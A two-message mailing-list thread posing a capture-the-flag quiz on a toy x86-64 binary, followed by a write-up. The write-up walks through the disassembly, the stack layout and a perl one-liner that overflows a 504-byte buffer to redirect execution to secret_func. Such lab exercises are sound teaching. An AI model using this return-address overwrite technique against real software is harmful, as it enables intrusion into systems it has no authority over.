* [Quiz] Exploit Buffer Overflow Vulnerability
@ 2021-05-31 9:49 Ammar Faizi
2021-06-02 0:30 ` Ammar Faizi
0 siblings, 1 reply; 2+ messages in thread
From: Ammar Faizi @ 2021-05-31 9:49 UTC (permalink / raw)
To: gwml
#quiz #buffer_overflow #x64
Hi everyone,
This is the 3-rd quiz I posted on GW mailing list.
Print the congratulation message via buffer overflow vulnerability:
https://www.gnuweeb.org/quiz/003
003: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically
linked, BuildID[sha1]=2201950b05b29da606ebc3b8783513e9abc351de, not stripped
Source code:
https://gist.github.com/ammarfaizi2/e60280e64ac391af534edec49de0e27b
Share your solution on Telegram too.
Happy hacking!
Ammar
--
GWML mailing list
[email protected]
https://gwml.gnuweeb.org/listinfo/gwml
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: [Quiz] Exploit Buffer Overflow Vulnerability
2021-05-31 9:49 [Quiz] Exploit Buffer Overflow Vulnerability Ammar Faizi
@ 2021-06-02 0:30 ` Ammar Faizi
0 siblings, 0 replies; 2+ messages in thread
From: Ammar Faizi @ 2021-06-02 0:30 UTC (permalink / raw)
To: gwml
Hi everyone,
Below is the write up of the latest quiz.
It is known that the vulnerability is located on `get_input` function.
0000000000401074 <get_input>:
401074: push %rbp
401075: mov %rsp,%rbp
401078: sub $0x1f8,%rsp
40107f: lea 0xfeb(%rip),%rsi # 402071 <str4>
401086: mov $0x1,%eax
40108b: mov $0x1,%edi
401090: mov $0x13,%edx
401095: syscall
401097: lea -0x1f8(%rbp),%rsi
40109e: xor %eax,%eax
4010a0: xor %edi,%edi
4010a2: mov $0x1000,%edx # The hole is here...
4010a7: syscall
4010a9: mov %rbp,%rsp
4010ac: pop %rbp
4010ad: mov (%rsp),%rdi
4010b1: mov %rdi,0x1fcc(%rip) # 403084 <ret_addr>
4010b8: ret
In this case, the buffer is only 0x1f8 bytes, but the syscall read()
may write 0x1000 bytes to that memory.
Consider the following stack layout:
%rsp ----> | |
| |
| |
| 504 bytes buffer |
| |
| |
504 + %rsp ----> |-------------------| <---- %rbp
| Old %rbp |
512 + %rsp ----> |-------------------|
| Return Address |
|-------------------|
Now, what we need to do is overwrite the return address, so that when
the `get_input` function returns, we can override %rip and reach the
secret_func. Examine the following objdump result:
00000000004010b9 <secret_func>:
4010b9: push %rbp
4010ba: mov %rsp,%rbp
4010bd: mov 0x1fc0(%rip),%r8 # 403084 <ret_addr>
00000000004010c4 <._do_check>:
4010c4: lea -0x12(%rip),%rax # 4010b9 <secret_func>
4010cb: cmp %rax,%r8
4010ce: jne 40112f <._end_wrong>
4010d0: mov $0xffffffffffffffff,%rax
4010d7: cmp %rax,0x0(%rbp)
4010db: jne 40112f <._end_wrong>
00000000004010dd <._end_do_check>:
4010dd: lea 0xf1c(%rip),%rsi # 402000 <str1>
4010e4: mov $0x1,%edi
4010e9: mov $0x2b,%edx
4010ee: mov 0x0(%rbp),%rcx
4010f2: and %rax,%rcx
4010f5: mov %rcx,%rax
4010f8: mov %rcx,%rdi
4010fb: neg %rax
4010fe: neg %rdi
401101: and %rcx,%rsi
401104: and %rcx,%rdx
401107: and %rcx,%rsp
40110a: lea -0x58(%rip),%rcx # 4010b9 <secret_func>
401111: xor %r8,%rcx
401114: or %rcx,%rax
401117: or %rcx,%rdi
40111a: or %rcx,%rsi
40111d: or %rcx,%rdx
401120: or %rcx,%rsp
401123: cmp $0x1,%rax
401127: jne 40112f <._end_wrong>
401129: syscall
40112b: xor %eax,%eax
40112d: jmp 40114c <.ret_sec>
000000000040112f <._end_wrong>:
40112f: lea 0xf3b(%rip),%rsi # 402071 <str4>
401136: mov $0x13,%edx
40113b: mov $0x1,%eax
401140: mov $0x1,%edi
401145: syscall
401147: mov $0x1,%eax
000000000040114c <.ret_sec>:
40114c: mov %rbp,%rsp
40114f: pop %rbp
401150: lea -0x12b(%rip),%rdi # 40102c <_do_exit>
401157: mov %rdi,(%rsp)
40115b: ret
--------------------
In this case, we will jump to ._end_wrong which will skip the
congratulation message if we go to it.
This check controls the path to be taken:
4010bd: mov 0x1fc0(%rip),%r8 # 403084 <ret_addr>
00000000004010c4 <._do_check>:
4010c4: lea -0x12(%rip),%rax # 4010b9 <secret_func>
4010cb: cmp %rax,%r8
4010ce: jne 40112f <._end_wrong>
4010d0: mov $0xffffffffffffffff,%rax
4010d7: cmp %rax,0x0(%rbp)
4010db: jne 40112f <._end_wrong>
This expects global variable ret_addr to have value the same with
secret_func address. And also expects the old %rbp be
0xffffffffffffffff or -1 (in decimal).
So what to do?
1) By using buffer overflow vulnerability, we have to patch the
return address so that it points to secret_func.
2) Patch the old %rbp so that its value be 0xffffffffffffffff.
Building payload:
In this case, we have 504 valid buffer for memory write. So we fill
this valid area with anything. In this write up, we fill it with "A"
character 504 times.
After 504 bytes of buffer, we will start patching the old %rbp (if we
do more 8 bytes write), hence we have to fill it with "\xff" 8 times.
After that, we start touching return address. As x86-64 is little
endian, we have to write the address of secret_func in reverse order
broken down into chunk of bytes.
With simple perl script, the payload will be like this:
perl -e 'print "A"x504,"\xff"x8,"\xb9\x10\x40","\x00"x5'
Executing exploit:
$ perl -e 'print "A"x504,"\xff"x8,"\xb9\x10\x40","\x00"x5' | ./003
Enter the keyword:
Congratulation, you have solved the quiz!
End of write up.
If you have any question regarding the write up, kindly to reply to
this email, or drop your question directly to Telegram group.
Happy hacking!
Ammar
--
GWML mailing list
[email protected]
https://gwml.gnuweeb.org/listinfo/gwml
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2021-06-02 0:30 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2021-05-31 9:49 [Quiz] Exploit Buffer Overflow Vulnerability Ammar Faizi
2021-06-02 0:30 ` Ammar Faizi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox